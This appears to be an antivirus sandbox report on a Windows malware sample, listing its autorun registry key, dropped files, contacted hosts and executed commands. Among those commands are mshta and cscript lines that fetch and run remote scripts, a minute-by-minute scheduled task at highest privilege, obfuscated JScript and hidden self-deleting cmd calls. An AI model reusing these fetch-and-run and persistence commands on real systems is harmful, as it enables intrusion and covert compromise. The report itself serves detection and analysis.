Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'IRTYNBKDJXAG' = '%TEMP%\JDGHYODTUD.EXE'
Creates or modifies the following files
- <SYSTEM32>\tasks\flashhelperserv
Modifies file system
Creates the following files
- %TEMP%\inst54.tmp
- %TEMP%\tmp.cmd
- %TEMP%\tmp.hta
- %TEMP%\rundll8.exe
- %TEMP%\jdghyodtud.exe
- %ProgramFiles%\apppatch\lpdllname
Sets the 'hidden' attribute to the following files
- %TEMP%\jdghyodtud.exe
Deletes the following files
- %TEMP%\inst54.tmp
- <SYSTEM32>\tasks\flashhelperserv
- %TEMP%\tmp.hta
- %TEMP%\tmp.cmd
- %TEMP%\rundll8.exe
Network activity
Connects to
- 'gg##vi.com':80
TCP
HTTP GET requests
- http://www.gg##vi.com/style.css
- http://www.gg##vi.com/ustext.swf
- http://www.ya###ipp.com/douyo.dll
UDP
- DNS ASK gg##vi.com
- DNS ASK gm#.#hnlab.com
- DNS ASK ya###ipp.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cscript.exe' //B //E:JScript "%TEMP%\inst54.tmp" "BB7BBB62FD9C76D5DDF37F17DDC3E7FF" "http://www.gg##vi.com/ustext.swf" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 6.4 (build ...
- '%TEMP%\rundll8.exe'
- '%TEMP%\jdghyodtud.exe'
- '%WINDIR%\syswow64\mshta.exe' http://www.gg##vi.com/style.css' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c cd /d "%LOCALAPPDATA%\Temp" && echo /*%TIME:~6,2%%TIME:~3,2%%TIME:~0,2%*/function A%time:~6,2%(k,e){for(var l=0,n,c=[],F=255,S=String,q=[],b=0;256^>b;b++)c[b]=b;ta="char"+"CodeAt";for(b=0;25...' (with hidden window)
- '%WINDIR%\syswow64\mshta.exe' "%TEMP%\tmp.hta"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\tmp.cmd' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c rundll8.exe' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c del "%TEMP%\JDGHYODTUD.EXE"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c del "%TEMP%\rundll8.exe"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\mshta.exe' http://www.gg##vi.com/style.css
- '%WINDIR%\syswow64\cmd.exe' /c cd /d "%LOCALAPPDATA%\Temp" && echo /*%TIME:~6,2%%TIME:~3,2%%TIME:~0,2%*/function A%time:~6,2%(k,e){for(var l=0,n,c=[],F=255,S=String,q=[],b=0;256^>b;b++)c[b]=b;ta="char"+"CodeAt";for(b=0;25...
- '%WINDIR%\syswow64\cscript.exe' //B //nologo //H:CScript
- '%WINDIR%\syswow64\schtasks.exe' /create /sc minute /mo 1 /tn "FlashHelperServ" /tr "%TEMP%\tmp.hta" /rl highest
- '<SYSTEM32>\taskeng.exe' {192A29E0-0FC3-4772-95FC-EC3C7C7C0995} S-1-5-21-1960123792-2022915161-3775307078-1001:qcqoxdwd\user:Interactive:[1]
- '%WINDIR%\syswow64\mshta.exe' "%TEMP%\tmp.hta"
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\tmp.cmd
- '%WINDIR%\syswow64\cmd.exe' /c rundll8.exe
- '%WINDIR%\syswow64\schtasks.exe' /delete /tn "FlashHelperServ" /f
- '%WINDIR%\syswow64\cmd.exe' /c del "%TEMP%\JDGHYODTUD.EXE"
- '%WINDIR%\syswow64\cmd.exe' /c del "%TEMP%\rundll8.exe"
